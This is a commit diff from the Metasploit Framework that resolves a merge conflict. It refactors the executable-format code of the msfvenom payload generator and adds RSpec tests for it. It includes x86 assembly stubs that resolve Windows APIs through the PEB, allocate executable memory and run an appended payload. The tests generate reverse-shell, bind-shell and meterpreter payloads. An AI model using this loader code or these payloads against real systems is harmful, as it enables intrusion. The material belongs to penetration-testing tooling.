Fix merge conflict

Conflicts:
	msfvenom
This commit is contained in:
sinn3r 2013-08-13 00:00:16 -05:00
commit 92d57ef37d
6 changed files with 926 additions and 643 deletions

View File

@ -137,7 +137,6 @@ require 'digest/sha1'
nil
end
def self.to_win32pe(framework, code, opts={})
# For backward compatability, this is roughly equivalent to 'exe-small' fmt
@ -366,8 +365,11 @@ require 'digest/sha1'
def self.to_winpe_only(framework, code, opts={}, arch="x86")
# Allow the user to specify their own EXE template
if arch == ARCH_X86_64
arch = ARCH_X64
end
# Allow the user to specify their own EXE template
set_template_default(opts, "template_"+arch+"_windows.exe")
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
@ -400,7 +402,6 @@ require 'digest/sha1'
return exe
end
def self.to_win32pe_old(framework, code, opts={})
payload = code.dup
@ -469,7 +470,6 @@ require 'digest/sha1'
return pe
end
def self.to_win64pe(framework, code, opts={})
# Allow the user to specify their own EXE template
@ -1455,7 +1455,6 @@ End Sub
return self.to_war(jspraw, opts)
end
# Creates a .NET DLL which loads data into memory
# at a specified location with read/execute permissions
# - the data will be loaded at: base+0x2065
@ -1541,11 +1540,10 @@ End Sub
api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
mov ebp, esp ; Create a new stack frame
xor eax, eax ; Zero EDX
mov eax, [fs:eax+48] ; Get a pointer to the PEB
mov eax, [eax+12] ; Get PEB->Ldr
mov eax, [eax+20] ; Get the first module from the InMemoryOrder module list
mov edx, eax
xor edx, edx ; Zero EDX
mov edx, [fs:edx+48] ; Get a pointer to the PEB
mov edx, [edx+12] ; Get PEB->Ldr
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
@ -1559,8 +1557,13 @@ End Sub
not_lowercase: ;
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
;loop loop_modname ; Loop until we have read enough
; The random jmps added below will occasionally make this offset
; greater than will fit in a byte, so we have to use a regular jnz
; instruction which can take a full 32-bits to accomodate the
; bigger offset
dec ecx
jnz loop_modname ; Loop untill we have read enough
jnz loop_modname ; Loop until we have read enough
; We now have the module hash computed
push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later
@ -1578,7 +1581,7 @@ End Sub
add ebx, edx ; Add the modules base address
; Computing the module hash + function hash
get_next_func: ;
test ecx, ecx ; (Changed from JECXZ to work around METASM)
test ecx, ecx ; Changed from jecxz to accomodate the larger offset produced by random jmps below
jz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec ecx ; Decrement the function name counter
mov esi, [ebx+ecx*4] ; Get rva of next module name
@ -1621,7 +1624,7 @@ End Sub
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module
jmp next_mod ; Process this module
jmp next_mod ; Process this module
^
stub_exit = %Q^
@ -1654,7 +1657,7 @@ End Sub
pop ebp ; Pop off the address of 'api_call' for calling later.
allocate_size:
mov esi,PAYLOAD_SIZE
mov esi, #{code.length}
allocate:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
@ -1687,10 +1690,9 @@ End Sub
get_payload:
call got_payload
payload:
; Append an arbitary payload here
; Append an arbitrary payload here
^
stub_alloc.gsub!('short', '')
stub_alloc.gsub!('byte', '')
@ -1721,10 +1723,8 @@ End Sub
wrapper << stub_final
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
off = enc.offset_of_reloc('PAYLOAD_SIZE')
res = enc.data + code
res[off,4] = [code.length].pack('V')
res
end
@ -1763,12 +1763,11 @@ End Sub
not_lowercase: ;
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
dec ecx
jnz loop_modname ; Loop untill we have read enough
loop loop_modname ; Loop until we have read enough
; We now have the module hash computed
push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later
; Proceed to itterate the export address table,
; Proceed to iterate the export address table,
mov edx, [edx+16] ; Get this modules base address
mov eax, [edx+60] ; Get PE header
add eax, edx ; Add the modules base address
@ -1824,7 +1823,7 @@ End Sub
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module
jmp next_mod ; Process this module
jmp next_mod ; Process this module
^
stub_exit = %Q^
@ -1858,7 +1857,7 @@ End Sub
pop ebp ; Pop off the address of 'api_call' for calling later.
allocate_size:
mov esi,PAYLOAD_SIZE
mov esi,#{code.length}
allocate:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
@ -1904,7 +1903,7 @@ End Sub
get_payload:
call got_payload
payload:
; Append an arbitary payload here
; Append an arbitrary payload here
^
@ -1946,11 +1945,9 @@ End Sub
wrapper << stub_final
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
off = enc.offset_of_reloc('PAYLOAD_SIZE')
soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1
res = enc.data + code
res[off,4] = [code.length].pack('V')
if which_offset == 'start'
res[soff,4] = [block_offset - (soff + 4)].pack('V')
elsif which_offset == 'end'
@ -1963,72 +1960,97 @@ End Sub
#
# This routine is shared between msfencode, rpc, and payload modules (use <payload>)
# Generate an executable of a given format suitable for running on the
# architecture/platform pair.
#
# It will return nil if it wasn't able to generate any output.
# This routine is shared between msfencode, rpc, and payload modules (use
# <payload>)
#
# @param framework [Framework]
# @param arch [String] Architecture for the target format; one of the ARCH_*
# constants
# @param plat [#index] platform
# @param code [String] The shellcode for the resulting executable to run
# @param fmt [String] One of the executable formats as defined in
# {.to_executable_fmt_formats}
# @param exeopts [Hash] Passed directly to the approrpriate method for
# generating an executable for the given +arch+/+plat+ pair.
# @return [String] An executable appropriate for the given
# architecture/platform pair.
# @return [nil] If the format is unrecognized or the arch and plat don't
# make sense together.
def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
output = nil
# For backwards compatibility with the way this gets called when
# generating from Msf::Simple::Payload.generate_simple
if arch.kind_of? Array
output = nil
arch.each do |a|
output = to_executable_fmt(framework, a, plat, code, fmt, exeopts)
break if output
end
return output
end
case fmt
when 'asp'
output = Msf::Util::EXE.to_win32pe_asp(framework, code, exeopts)
when 'aspx'
output = Msf::Util::EXE.to_win32pe_aspx(framework, code, exeopts)
when 'dll'
if (not arch or (arch.index(ARCH_X86)))
output = Msf::Util::EXE.to_win32pe_dll(framework, code, exeopts)
end
if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
output = Msf::Util::EXE.to_win64pe_dll(framework, code, exeopts)
end
output = case arch
when ARCH_X86,nil then to_win32pe_dll(framework, code, exeopts)
when ARCH_X86_64 then to_win64pe_dll(framework, code, exeopts)
when ARCH_X64 then to_win64pe_dll(framework, code, exeopts)
end
when 'exe'
if (not arch or (arch.index(ARCH_X86)))
output = Msf::Util::EXE.to_win32pe(framework, code, exeopts)
end
if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
output = Msf::Util::EXE.to_win64pe(framework, code, exeopts)
end
output = case arch
when ARCH_X86,nil then to_win32pe(framework, code, exeopts)
when ARCH_X86_64 then to_win64pe(framework, code, exeopts)
when ARCH_X64 then to_win64pe(framework, code, exeopts)
end
when 'exe-small'
if(not arch or (arch.index(ARCH_X86)))
output = Msf::Util::EXE.to_win32pe_old(framework, code, exeopts)
end
output = case arch
when ARCH_X86,nil then to_win32pe_old(framework, code, exeopts)
end
when 'exe-only'
if(not arch or (arch.index(ARCH_X86)))
output = Msf::Util::EXE.to_winpe_only(framework, code, exeopts)
end
if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
output = Msf::Util::EXE.to_winpe_only(framework, code, exeopts, "x64")
end
output = case arch
when ARCH_X86,nil then to_winpe_only(framework, code, exeopts, arch)
when ARCH_X86_64 then to_winpe_only(framework, code, exeopts, arch)
when ARCH_X64 then to_winpe_only(framework, code, exeopts, arch)
end
when 'elf'
if (not plat or (plat.index(Msf::Module::Platform::Linux)))
if (not arch or (arch.index(ARCH_X86)))
output = Msf::Util::EXE.to_linux_x86_elf(framework, code, exeopts)
elsif (arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
output = Msf::Util::EXE.to_linux_x64_elf(framework, code, exeopts)
end
output = case arch
when ARCH_X86,nil then to_linux_x86_elf(framework, code, exeopts)
when ARCH_X86_64 then to_linux_x64_elf(framework, code, exeopts)
when ARCH_X64 then to_linux_x64_elf(framework, code, exeopts)
when ARCH_ARMLE then to_linux_armle_elf(framework, code, exeopts)
when ARCH_MIPSBE then to_linux_mipsbe_elf(framework, code, exeopts)
when ARCH_MIPSLE then to_linux_mipsle_elf(framework, code, exeopts)
end
elsif(plat and (plat.index(Msf::Module::Platform::BSD)))
if (not arch or (arch.index(ARCH_X86)))
output = Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts)
end
output = case arch
when ARCH_X86,nil then Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts)
end
elsif(plat and (plat.index(Msf::Module::Platform::Solaris)))
if (not arch or (arch.index(ARCH_X86)))
output = Msf::Util::EXE.to_solaris_x86_elf(framework, code, exeopts)
end
output = case arch
when ARCH_X86,nil then to_solaris_x86_elf(framework, code, exeopts)
end
end
when 'macho'
if (not arch or (arch.index(ARCH_X86)))
output = Msf::Util::EXE.to_osx_x86_macho(framework, code, exeopts)
end
if (arch and (arch.index(ARCH_X86_64) or arch.index(ARCH_X64)))
output = Msf::Util::EXE.to_osx_x64_macho(framework, code, exeopts)
end
output = case arch
when ARCH_X86,nil then to_osx_x86_macho(framework, code, exeopts)
when ARCH_X86_64 then to_osx_x64_macho(framework, code, exeopts)
when ARCH_X64 then to_osx_x64_macho(framework, code, exeopts)
when ARCH_ARMLE then to_osx_arm_macho(framework, code, exeopts)
when ARCH_PPC then to_osx_ppc_macho(framework, code, exeopts)
end
when 'vba'
output = Msf::Util::EXE.to_vba(framework, code, exeopts)
@ -2043,12 +2065,6 @@ End Sub
when 'loop-vbs'
output = Msf::Util::EXE.to_win32pe_vbs(framework, code, exeopts.merge({ :persist => true }))
when 'asp'
output = Msf::Util::EXE.to_win32pe_asp(framework, code, exeopts)
when 'aspx'
output = Msf::Util::EXE.to_win32pe_aspx(framework, code, exeopts)
when 'war'
arch ||= [ ARCH_X86 ]
tmp_plat = plat.platforms if plat
@ -2068,7 +2084,10 @@ End Sub
end
def self.to_executable_fmt_formats
['dll','exe','exe-small','exe-only','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net']
[
'dll','exe','exe-small','exe-only','elf','macho','vba','vba-exe',
'vbs','loop-vbs','asp','aspx','war','psh','psh-net'
]
end
#

View File

@ -100,7 +100,7 @@ class OptsConsole
options['DatabaseMigrationPaths'] ||= []
options['DatabaseMigrationPaths'] << m
end
opts.on("-e", "--environment <production|development>", "Specify the database environment to load from the YAML") do |m|
options['DatabaseEnv'] = m
end

1009
msfvenom

File diff suppressed because it is too large Load Diff

View File

@ -2,6 +2,9 @@
require 'msf/core'
require 'msf/base/simple'
require 'spec_helper'
require 'support/shared/contexts/msf/util/exe'
describe Msf::Util::EXE do
@ -14,44 +17,23 @@ describe Msf::Util::EXE do
'DisableDatabase' => true
)
context '.to_executable_fmt' do
describe '.win32_rwx_exec' do
it "should contain the shellcode" do
bin = subject.win32_rwx_exec("asdfjklASDFJKL")
bin.should include("asdfjklASDFJKL")
end
end
describe '.to_executable_fmt' do
it "should output nil when given a bogus format" do
bin = subject.to_executable_fmt($framework, "", "", "", "does not exist", {})
bin.should == nil
end
platform_format_map = {
"windows" => [
{ :format => "dll", :arch => "x86", :file_fp => /PE32 .*DLL/ },
{ :format => "dll", :arch => "x64", :file_fp => /PE32\+.*DLL/ },
{ :format => "exe", :arch => "x86", :file_fp => /PE32 / },
{ :format => "exe", :arch => "x64", :file_fp => /PE32\+/ },
{ :format => "exe-small", :arch => "x86", :file_fp => /PE32 / },
# No template for 64-bit exe-small. That's fine, we probably
# don't need one.
#{ :format => "exe-small", :arch => "x64", :file_fp => /PE32\+/ },
],
"linux" => [
{ :format => "elf", :arch => "x86", :file_fp => /ELF 32.*SYSV/ },
{ :format => "elf", :arch => "x64", :file_fp => /ELF 64.*SYSV/ },
{ :format => "elf", :arch => "armle",:file_fp => /ELF 32.*ARM/, :pending => true },
],
"bsd" => [
{ :format => "elf", :arch => "x86", :file_fp => /ELF 32.*BSD/ },
],
"solaris" => [
{ :format => "elf", :arch => "x86", :file_fp => /ELF 32/ },
],
"osx" => [
{ :format => "macho", :arch => "x86", :file_fp => /Mach-O.*i386/ },
{ :format => "macho", :arch => "x64", :file_fp => /Mach-O 64/ },
{ :format => "macho", :arch => "armle", :file_fp => /Mach-O.*acorn/, :pending => true },
{ :format => "macho", :arch => "ppc", :file_fp => /Mach-O.*ppc/, :pending => true },
]
}
include_context 'Msf::Util::Exe'
platform_format_map.each do |plat, formats|
@platform_format_map.each do |plat, formats|
context "with platform=#{plat}" do
let(:platform) do
Msf::Module::PlatformList.transform(plat)
@ -65,6 +47,11 @@ describe Msf::Util::EXE do
bin = subject.to_executable_fmt($framework, "asdf", platform, "\xcc", formats.first[:format], {})
bin.should == nil
end
[ ARCH_X86, ARCH_X64, ARCH_X86_64, ARCH_PPC, ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE ].each do |arch|
it "returns nil when given bogus format for arch=#{arch}" do
bin = subject.to_executable_fmt($framework, arch, platform, "\xcc", "asdf", {})
end
end
formats.each do |format_hash|
fmt = format_hash[:format]
@ -79,17 +66,7 @@ describe Msf::Util::EXE do
bin = subject.to_executable_fmt($framework, arch, platform, "\xcc", fmt, {})
bin.should be_a String
f = IO.popen("file -","w+")
f.write(bin)
f.close_write
fp = f.read
f.close
fp.should =~ format_hash[:file_fp] if format_hash[:file_fp]
end
it "returns nil when given bogus format for arch=#{arch}" do
bin = subject.to_executable_fmt($framework, arch, platform, "\xcc", "asdf", {})
bin.should == nil
verify_bin_fingerprint(format_hash, bin)
end
end

267
spec/msfvenom_spec.rb Normal file
View File

@ -0,0 +1,267 @@
require 'spec_helper'
require 'msf/core'
# doesn't end in .rb or .so, so have to load instead of require
load File.join(Msf::Config.install_root, 'msfvenom')
shared_examples_for "nop dumper" do
it "should list known nops" do
%w!
x86/opty2
armle/simple
!.each do |name|
dump.should include(name)
end
end
end
shared_examples_for "encoder dumper" do
it "should list known encoders" do
%w!
generic/none
x86/shikata_ga_nai
x64/xor
!.each do |name|
dump.should include(name)
end
end
end
shared_examples_for "payload dumper" do
it "should list known payloads" do
# Just a representative sample of some of the important ones.
%w!
cmd/unix/reverse
java/meterpreter/reverse_tcp
java/meterpreter/reverse_https
linux/x86/shell/reverse_tcp
linux/x86/shell_reverse_tcp
linux/x64/shell/reverse_tcp
linux/x64/shell_reverse_tcp
linux/armle/shell/reverse_tcp
linux/armle/shell_reverse_tcp
linux/mipsbe/shell_reverse_tcp
php/meterpreter/reverse_tcp
windows/meterpreter/reverse_tcp
windows/meterpreter/reverse_https
!.each do |name|
dump.should include(name)
end
end
end
describe MsfVenom do
let(:stdin) { StringIO.new("", "rb") }
let(:stdout) { StringIO.new("", "wb") }
let(:stderr) { StringIO.new("", "wb") }
subject(:venom) { described_class.new(stdin, stdout, stderr, framework) }
before(:each) do
conf_dir = Metasploit::Framework.root.join('spec', 'dummy', 'framework','config')
conf_dir.mkpath
end
after(:each) do
dummy_dir = Metasploit::Framework.root.join('spec', 'dummy')
dummy_dir.rmtree
end
before(:all) do
conf_dir = Metasploit::Framework.root.join('spec', 'dummy', 'framework','config')
conf_dir.mkpath
create_opts = {
:module_types => [
::Msf::MODULE_PAYLOAD, ::Msf::MODULE_ENCODER, ::Msf::MODULE_NOP
],
'ConfigDirectory' => conf_dir.to_s,
'DisableDatabase' => true
}
@framework = ::Msf::Simple::Framework.create(create_opts)
end
let(:framework) { @framework }
describe "#dump_encoders" do
it_behaves_like "encoder dumper" do
let(:dump) { venom.dump_encoders }
end
end
describe "#dump_nops" do
it_behaves_like "nop dumper" do
let(:dump) { venom.dump_nops }
end
end
describe "#dump_payloads" do
it_behaves_like "payload dumper" do
let(:dump) { venom.dump_payloads }
end
end
describe "#parse_args" do
context "help" do
it "should raise UsageError" do
expect { venom.parse_args(%w! -h !) }.to raise_error(MsfVenom::UsageError)
expect { venom.parse_args(%w! --help !) }.to raise_error(MsfVenom::UsageError)
expect { venom.parse_args(%w! --help-formats !) }.to raise_error(MsfVenom::UsageError)
end
end
context "with bad arguments" do
it "should raise UsageError with empty arguments" do
expect { venom.parse_args([]) }.to raise_error(MsfVenom::UsageError)
end
it "should raise with unexpected options" do
expect { venom.parse_args(%w! --non-existent-option !) }.to raise_error(MsfVenom::UsageError)
end
%w! --platform -a -b -c -f -p -n -s -i -x !.each do |required_arg|
it "should raise UsageError with no arg for option #{required_arg}" do
expect { venom.parse_args([required_arg]) }.to raise_error(MsfVenom::UsageError)
end
end
end
end
describe "#generate_raw_payload" do
before do
venom.parse_args(args)
end
context "with --options" do
context "and a payload" do
let(:args) { %w! -o -p windows/meterpreter/reverse_tcp ! }
it "should print options" do
expect { venom.generate_raw_payload }.to_not raise_error
output = stderr.string
output.should include("LHOST")
output.should include("LPORT")
end
context "and some datastore options" do
it "should print options" do
venom.parse_args %w! -o -p windows/meterpreter/reverse_tcp LPORT=1234!
expect { venom.generate_raw_payload }.to_not raise_error
output = stderr.string
output.should include("LHOST")
output.should match(/LPORT\s+1234/)
end
it "should print options case-insensitively" do
venom.parse_args %w! -o -p windows/meterpreter/reverse_tcp lPoRt=1234!
expect { venom.generate_raw_payload }.to_not raise_error
output = stderr.string
output.should include("LHOST")
output.should match(/LPORT\s+1234/)
end
end
end
context "and an invalid payload" do
let(:args) { %w! -o -p asdf! }
it "should raise" do
expect { venom.generate_raw_payload }.to raise_error(MsfVenom::UsageError)
end
end
end
[
{ :format => "elf", :arch => "x86" },
{ :format => "raw", :arch => "x86" },
{ :format => "elf", :arch => "armle" },
{ :format => "raw", :arch => "armle" },
{ :format => "elf", :arch => "ppc" },
{ :format => "raw", :arch => "ppc" },
{ :format => "elf", :arch => "mipsle" },
{ :format => "raw", :arch => "mipsle" },
].each do |format_hash|
format = format_hash[:format]
arch = format_hash[:arch]
context "building #{format} with linux/#{arch}/shell_bind_tcp" do
let(:args) { %W! -f #{format} -p linux/#{arch}/shell_bind_tcp ! }
# We're not encoding, so should be testable here
it "should contain /bin/sh" do
output = venom.generate_raw_payload
# Usually push'd in two instructions, so the whole string
# isn't all together. Check for the two pieces seperately
output.should include("/sh")
output.should include("/bin")
end
end
end
end
describe "#generate" do
include_context 'Msf::Util::Exe'
before { venom.parse_args(args) }
context "with --list" do
context "with invalid module type" do
let(:args) { %w!--list asdf! }
it "should raise UsageError" do
expect { venom.generate }.to raise_error(MsfVenom::UsageError)
end
end
[ "nop", "encoder", "payload" ].each do |type|
context "#{type}s" do
let(:args) { %W!--list #{type}s! }
it_behaves_like "#{type} dumper" do
let(:dump) do
venom.generate
stderr.string
end
end
end
end
end
context "with invalid datastore option" do
let(:args) { %w!-f exe -p windows/shell_reverse_tcp LPORT=asdf! }
it "should fail validation" do
expect { venom.generate }.to raise_error(Msf::OptionValidateError)
end
end
context "without required datastore option" do
# Requires LHOST
let(:args) { %w!-f exe -p windows/shell_reverse_tcp! }
it "should fail validation" do
expect { venom.generate }.to raise_error(Msf::OptionValidateError)
end
end
@platform_format_map.each do |plat, formats|
formats.each do |format_hash|
format = format_hash[:format]
arch = format_hash[:arch]
# Need a new context for each so the let() will work correctly
context "with format=#{format} platform=#{plat} arch=#{arch}" do
# This will build executables with no payload. They won't work
# of course, but at least we can see that it is producing the
# correct file format for the given arch and platform.
let(:args) { %W! -p - -f #{format} -a #{arch} --platform #{plat} ! }
it "should print a #{format} to stdout" do
venom.generate
output = stdout.string
verify_bin_fingerprint(format_hash, output)
end
end
end
end
end
end

View File

@ -0,0 +1,51 @@
shared_context 'Msf::Util::Exe' do
@platform_format_map = {
"windows" => [
{ :format => "dll", :arch => "x86", :file_fp => /PE32 .*DLL/ },
{ :format => "dll", :arch => "x64", :file_fp => /PE32\+.*DLL/ },
{ :format => "exe", :arch => "x86", :file_fp => /PE32 / },
{ :format => "exe", :arch => "x64", :file_fp => /PE32\+/ },
{ :format => "exe", :arch => "x86_64", :file_fp => /PE32\+/ },
{ :format => "exe-small", :arch => "x86", :file_fp => /PE32 / },
# No template for 64-bit exe-small. That's fine, we probably
# don't need one.
#{ :format => "exe-small", :arch => "x64", :file_fp => /PE32\+/ },
{ :format => "exe-only", :arch => "x86", :file_fp => /PE32 / },
{ :format => "exe-only", :arch => "x64", :file_fp => /PE32\+ / },
{ :format => "exe-only", :arch => "x86_64", :file_fp => /PE32\+ / },
],
"linux" => [
{ :format => "elf", :arch => "x86", :file_fp => /ELF 32.*SYSV/ },
{ :format => "elf", :arch => "x64", :file_fp => /ELF 64.*SYSV/ },
{ :format => "elf", :arch => "armle", :file_fp => /ELF 32.*ARM/ },
{ :format => "elf", :arch => "mipsbe", :file_fp => /ELF 32-bit MSB executable, MIPS/ },
{ :format => "elf", :arch => "mipsle", :file_fp => /ELF 32-bit LSB executable, MIPS/ },
],
"bsd" => [
{ :format => "elf", :arch => "x86", :file_fp => /ELF 32.*BSD/ },
],
"solaris" => [
{ :format => "elf", :arch => "x86", :file_fp => /ELF 32/ },
],
"osx" => [
{ :format => "macho", :arch => "x86", :file_fp => /Mach-O.*i386/ },
{ :format => "macho", :arch => "x64", :file_fp => /Mach-O 64/ },
{ :format => "macho", :arch => "armle", :file_fp => /Mach-O.*(acorn|arm)/ },
{ :format => "macho", :arch => "ppc", :file_fp => /Mach-O.*ppc/ },
],
}
def verify_bin_fingerprint(format_hash, bin)
bin.should be_a(String)
fp = IO.popen("file -","w+") do |io|
io.write(bin)
io.close_write
io.read
end
if format_hash[:file_fp]
fp.should =~ format_hash[:file_fp]
end
end
end